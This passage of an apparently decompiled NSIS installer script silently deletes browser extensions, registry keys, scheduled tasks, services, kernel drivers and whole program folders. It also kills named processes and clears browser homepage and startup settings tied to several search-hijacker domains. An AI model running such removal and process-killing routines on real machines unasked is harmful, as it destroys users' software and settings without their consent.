DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\hcnmeapiiphhmfhfnngadeoglcaknipi
label_341:
ClearErrors
EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\ffbonecokbglbldgjefndidmdeegggek $0
IfErrors label_345
DeleteRegKey HKCU Software\Google\Chrome\Extensions\ffbonecokbglbldgjefndidmdeegggek
label_345:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\ffbonecokbglbldgjefndidmdeegggek $0
IfErrors label_349
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\ffbonecokbglbldgjefndidmdeegggek
label_349:
ClearErrors
EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\hiinilempllbgnaohllfdpnmeioogkng $0
IfErrors label_353
DeleteRegKey HKCU Software\Google\Chrome\Extensions\hiinilempllbgnaohllfdpnmeioogkng
label_353:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\hiinilempllbgnaohllfdpnmeioogkng $0
IfErrors label_357
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\hiinilempllbgnaohllfdpnmeioogkng
label_357:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\aonedlchkbicmhepimiahfalheedjgbh $0
IfErrors label_361
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\aonedlchkbicmhepimiahfalheedjgbh
label_361:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\jgpcjehgklpfpaohmmmcbmccgbcfgmnk $0
IfErrors label_365
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\jgpcjehgklpfpaohmmmcbmccgbcfgmnk
label_365:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Yandex\YandexBrowser\Extensions\aonedlchkbicmhepimiahfalheedjgbh $0
IfErrors label_369
DeleteRegKey HKLM SOFTWARE\Yandex\YandexBrowser\Extensions\aonedlchkbicmhepimiahfalheedjgbh
label_369:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\dghncoeocefmhkhiphdgikkamjeglbfh $0
IfErrors label_373
DeleteRegKey HKLM Software\Google\Chrome\Extensions\dghncoeocefmhkhiphdgikkamjeglbfh
label_373:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\dkmjljdbbgogihjcapfhgkonfmccbffp $0
IfErrors label_377
DeleteRegKey HKLM Software\Google\Chrome\Extensions\dkmjljdbbgogihjcapfhgkonfmccbffp
label_377:
StrCpy $R1 system
IfFileExists $LOCALAPPDATA\Microsoft\Windows\$R1 0 label_390
nsExec::ExecToStack "schtasks /delete /tn $\"SystemScript$\" /f"
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"SystemScript$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SystemScript
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run SystemScript
Call func_707
Sleep 3000
Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\windows.zpx
Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\$R1.exe
label_390:
IfFileExists $LOCALAPPDATA\Microsoft\Windows\toolbar.exe 0 label_395
Call func_707
Sleep 3000
Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\windows.zpx
Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\toolbar.exe
label_395:
IfFileExists $PROGRAMFILES\PhraseFinder* 0 label_519
StrCpy $0 0
label_397:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_519
IntOp $0 $0 + 1
ClearErrors
Push $1
Push PhraseFinder
Call :label_405
Goto label_494
label_405:
Exch $1
; Push $1
; Exch
; Pop $1
Exch
Exch $0
; Push $0
; Exch
; Pop $0
Exch
Push $2
Push $3
Push $4
Push $5
Push $6
Push $7
ClearErrors
StrCpy $2 $1 "" 1
StrCpy $1 $1 1
StrLen $3 $2
StrCpy $7 0
label_424:
StrCpy $4 -1
StrCpy $6 ""
label_426:
IntOp $4 $4 + 1
StrCpy $5 $0 1 $4
StrCmp $5$7 0 label_481
StrCmp $5 "" label_468
StrCmp $5 $\" 0 label_437
StrCmp $6 "" 0 label_434
StrCpy $6 $\"
Goto label_426
label_434:
StrCmp $6 $\" 0 label_437
StrCpy $6 ""
Goto label_426
label_437:
StrCmp $5 ' 0 label_444
StrCmp $6 "" 0 label_441
StrCpy $6 '
Goto label_426
label_441:
StrCmp $6 ' 0 label_444
StrCpy $6 ""
Goto label_426
label_444:
StrCmp $5 ` 0 label_451
StrCmp $6 "" 0 label_448
StrCpy $6 `
Goto label_426
label_448:
StrCmp $6 ` 0 label_451
StrCpy $6 ""
Goto label_426
label_451:
StrCmp $6 $\" label_426
StrCmp $6 ' label_426
StrCmp $6 ` label_426
StrCmp $5 $1 0 label_426
StrCmp $7 0 label_456 label_468
label_456:
IntOp $4 $4 + 1
StrCpy $5 $0 $3 $4
StrCmp $5 "" label_481
StrCmp $5 $2 0 label_426
IntOp $4 $4 + $3
StrCpy $0 $0 "" $4
label_462:
StrCpy $4 $0 1
StrCmp $4 " " 0 label_466
StrCpy $0 $0 "" 1
Goto label_462
label_466:
StrCpy $7 1
Goto label_424
label_468:
StrCpy $0 $0 $4
label_469:
StrCpy $4 $0 1 -1
StrCmp $4 " " 0 label_473
StrCpy $0 $0 -1
Goto label_469
label_473:
StrCpy $3 $0 1
StrCpy $4 $0 1 -1
StrCmp $3 $4 0 label_483
StrCmp $3 $\" label_479
StrCmp $3 ' label_479
StrCmp $3 ` 0 label_483
label_479:
StrCpy $0 $0 -1 1
Goto label_483
label_481:
SetErrors
StrCpy $0 ""
label_483:
Pop $7
Pop $6
Pop $5
Pop $4
Pop $3
Pop $2
Pop $1
Exch $0
; Push $0
; Exch
; Pop $0
Return
label_494:
Pop $R3
IfErrors label_397
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\pfsvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\pfnfd_$3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\pfnfd_$3.sys 0 label_511
Delete /REBOOTOK $SYSDIR\drivers\pfnfd_$3.sys
label_511:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\pfnfd_$3.sys 0 label_518
Delete /REBOOTOK $SYSDIR\drivers\pfnfd_$3.sys
label_518:
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_519:
FunctionEnd
Function func_520
StrCpy $0 storegidup.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_537
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_537
StrCpy $0 storegidup.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_537
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_537:
StrCpy $0 storegid.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_554
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_554
StrCpy $0 storegid.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_554
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_554:
FunctionEnd
Function func_555
StrCpy $0 run_ctrl.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_572
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_572
StrCpy $0 run_ctrl.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_572
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_572:
FunctionEnd
Function func_573
StrCpy $0 strdup.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_590
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_590
StrCpy $0 strdup.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_590
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_590:
FunctionEnd
Function func_591
StrCpy $0 str_up.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_608
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_608
StrCpy $0 str_up.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_608
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_608:
FunctionEnd
Function func_609
nsExec::Exec "cmd /k taskkill /IM swhust.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM swhust.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM swshost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM swshost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM svshost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM svshost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM svdhost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM svdhost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM swdhost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM swdhost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FunctionEnd
Function func_635
StrCpy $0 installerTemp.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_652
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_652
StrCpy $0 installerTemp.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_652
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_652:
FunctionEnd
Function func_653
StrCpy $0 installerTempZ.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_670
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_670
StrCpy $0 installerTempZ.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_670
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_670:
FunctionEnd
Function func_671
StrCpy $0 Supdater.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_688
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_688
StrCpy $0 Supdater.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_688
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_688:
FunctionEnd
Function func_689
StrCpy $0 updater.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_706
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_706
StrCpy $0 updater.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_706
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_706:
FunctionEnd
Function func_707
StrCpy $0 system.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_724
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_724
StrCpy $0 system.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_724
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_724:
StrCpy $0 toolbar.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_741
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_741
StrCpy $0 toolbar.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_741
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
label_741:
FunctionEnd
Function func_742
StrCpy $0 InstallAfterRebootService0.exe
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_754
StrCmp $0 0 label_754
StrCpy $0 InstallAfterRebootService0.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
label_754:
FunctionEnd
Function func_755
StrCpy $0 Setup32.exe
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_767
StrCmp $0 0 label_767
StrCpy $0 Setup32.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
label_767:
StrCpy $0 lnsecsl.exe
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_779
StrCmp $0 0 label_779
StrCpy $0 lnsecsl.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
label_779:
StrCpy $0 stdrt.exe
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_791
StrCmp $0 0 label_791
StrCpy $0 stdrt.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
label_791:
FunctionEnd
Function func_792
StrCpy $0 bd.exe
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_804
StrCmp $0 0 label_804
StrCpy $0 bd.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
label_804:
FunctionEnd
Function func_805
Pop $5
Pop $6
Pop $7
ClearErrors
Push $6
Push www.zingload.com
Call :label_405
Pop $0
IfErrors 0 label_839
ClearErrors
Push $6
Push www.tagonsearch.com
Call :label_405
Pop $0
IfErrors 0 label_839
ClearErrors
Push $6
Push www.trotux.com
Call :label_405
Pop $0
IfErrors 0 label_839
ClearErrors
Push $6
Push www.youndoo.com
Call :label_405
Pop $0
IfErrors 0 label_839
ClearErrors
Push $6
Push www.tagonsearch.com
Call :label_405
Pop $0
IfErrors 0 label_839
Goto label_858
label_839:
nsJSON::Set /file $5
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $5
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Delete homepage /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push homepage
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Serialize /format /file $5
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $5
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_858:
ClearErrors
Push $7
Push www.zingload.com
Call :label_405
Pop $0
IfErrors 0 label_889
ClearErrors
Push $7
Push www.tagonsearch.com
Call :label_405
Pop $0
IfErrors 0 label_889
ClearErrors
Push $7
Push www.trotux.com
Call :label_405
Pop $0
IfErrors 0 label_889
ClearErrors
Push $7
Push www.youndoo.com
Call :label_405
Pop $0
IfErrors 0 label_889
ClearErrors
Push $7
Push www.tagonsearch.com
Call :label_405
Pop $0
IfErrors 0 label_889
Goto label_909
label_889:
nsJSON::Set /file $5
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $5
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Delete session startup_urls /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push startup_urls
; Push session
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Serialize /format /file $5
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $5
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_909:
FunctionEnd
Function func_910
Exch $5
; Push $5
; Exch
; Pop $5
nsJSON::Set /file $5
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $5
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Serialize /format /file $5
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $5
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
FunctionEnd
Function func_927
Exch $5
; Push $5
; Exch
; Pop $5
IfFileExists $5\extensions\{e1ebd0f6-2b10-452c-b00f-eed45d13bc70}.xpi 0 label_932
Delete /REBOOTOK $5\extensions\{e1ebd0f6-2b10-452c-b00f-eed45d13bc70}.xpi
label_932:
IfFileExists $5\extensions\@90B817C8-8A5C-413B-9DDD-B2C61ED6E79A.xpi 0 label_934
Delete /REBOOTOK $5\extensions\@90B817C8-8A5C-413B-9DDD-B2C61ED6E79A.xpi
label_934:
IfFileExists $5\extensions\@A3592ADB-854A-443A-854E-EB92130D470D.xpi 0 label_936
Delete /REBOOTOK $5\extensions\@A3592ADB-854A-443A-854E-EB92130D470D.xpi
label_936:
IfFileExists $5\extensions\{6E727987-C8EA-44DA-8749-310C0FBE3C3E} 0 label_938
RMDir /r /REBOOTOK $5\extensions\{6E727987-C8EA-44DA-8749-310C0FBE3C3E}
label_938:
IfFileExists $5\extensions\{b4fd252b-0e9e-43de-a556-eac261c4409c}.xpi 0 label_940
Delete /REBOOTOK $5\extensions\{b4fd252b-0e9e-43de-a556-eac261c4409c}.xpi
label_940:
IfFileExists $5\extensions\[email protected] 0 label_942
Delete /REBOOTOK $5\extensions\[email protected]
label_942:
IfFileExists $5\extensions\{66E978CD-981F-47DF-AC42-E3CF417C1467}.xpi 0 label_944
Delete /REBOOTOK $5\extensions\{66E978CD-981F-47DF-AC42-E3CF417C1467}.xpi
label_944:
IfFileExists $5\extensions\{2918635d-38d1-46e9-bc6b-40eb3d4eb596}.xpi 0 label_946
Delete /REBOOTOK $5\extensions\{2918635d-38d1-46e9-bc6b-40eb3d4eb596}.xpi
label_946:
IfFileExists $5\extensions\{f71176af-165e-4051-8444-cd35107cb7de}.xpi 0 label_948
Delete /REBOOTOK $5\extensions\{f71176af-165e-4051-8444-cd35107cb7de}.xpi
label_948:
IfFileExists $5\extensions\{ec4da1ff-7077-45c5-a562-75abccd29d68}.xpi 0 label_950
Delete /REBOOTOK $5\extensions\{ec4da1ff-7077-45c5-a562-75abccd29d68}.xpi
label_950:
IfFileExists $5\extensions\{a55878cb-0279-431d-90f2-6fbce3fde9a5}.xpi 0 label_952
Delete /REBOOTOK $5\extensions\{a55878cb-0279-431d-90f2-6fbce3fde9a5}.xpi
label_952:
IfFileExists $5\extensions\{b2ea11bd-1e29-47bb-91e9-3ca1c32cd0cf}.xpi 0 label_954
Delete /REBOOTOK $5\extensions\{b2ea11bd-1e29-47bb-91e9-3ca1c32cd0cf}.xpi
label_954:
IfFileExists $5\extensions\[email protected] 0 label_956
RMDir /r /REBOOTOK $5\extensions\[email protected]
label_956:
IfFileExists $5\extensions\{A16B1AF7-982D-40C3-B5C1-633E1A6A6678}.xpi 0 label_958
Delete /REBOOTOK $5\extensions\{A16B1AF7-982D-40C3-B5C1-633E1A6A6678}.xpi
label_958:
IfFileExists $5\extensions\{607b689f-7600-45e4-b8e5-887f72dab15c}.xpi 0 label_960
Delete /REBOOTOK $5\extensions\{607b689f-7600-45e4-b8e5-887f72dab15c}.xpi
label_960:
IfFileExists $5\extensions\{9962419f-b4ee-4542-bf4c-6670cd51a193}.xpi 0 label_962
Delete /REBOOTOK $5\extensions\{9962419f-b4ee-4542-bf4c-6670cd51a193}.xpi
label_962:
IfFileExists $5\extensions\{17bc1cf4-ae6f-4c26-a042-7b856ffcb4ec}.xpi 0 label_964
Delete /REBOOTOK $5\extensions\{17bc1cf4-ae6f-4c26-a042-7b856ffcb4ec}.xpi
label_964:
IfFileExists $5\extensions\@E9438230-A7DF-4D1F-8F2D-CA1D0F0F7924.xpi 0 label_966
Delete /REBOOTOK $5\extensions\@E9438230-A7DF-4D1F-8F2D-CA1D0F0F7924.xpi
label_966:
FunctionEnd
Function func_967
SetShellVarContext current
IfFileExists "$PROGRAMFILES\Smart Application Controller\smappscontroller.exe" 0 label_982
nsExec::Exec "cmd /k taskkill /IM smappscontroller.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM smappscontroller.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"CheckControllerUpdatesUA$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"CheckControllerUpdatesUA$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Smart Application Controller"
IfFileExists "$APPDATA\Smart Application Controller" 0 label_982
RMDir /r /REBOOTOK "$APPDATA\Smart Application Controller"
label_982:
IfFileExists $PROGRAMFILES\simplitec\simpliclean\PowerSuite.exe 0 label_1004
nsExec::Exec "cmd /k taskkill /IM PowerSuite.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM PowerSuite.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ServiceProvider.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ServiceProvider.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"simplitec Power Suite$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"simplitec Power Suite$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"simplitec Power Suite (Tray)$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"simplitec Power Suite (Tray)$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\simplitec
label_1004:
IfFileExists "$DESKTOP\Caba.io Êýøáýê ñåðâèñ.url" 0 label_1006
Delete "$DESKTOP\Caba.io Êýøáýê ñåðâèñ.url"
label_1006:
IfFileExists $DESKTOP\DiskPower.lnk 0 label_1008
Delete $DESKTOP\DiskPower.lnk
label_1008:
IfFileExists $PROGRAMFILES\CABA\cbmanager.exe 0 label_1016
nsExec::Exec "cmd /k taskkill /IM WMI cbmanager.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WMI cbmanager.exe /f"
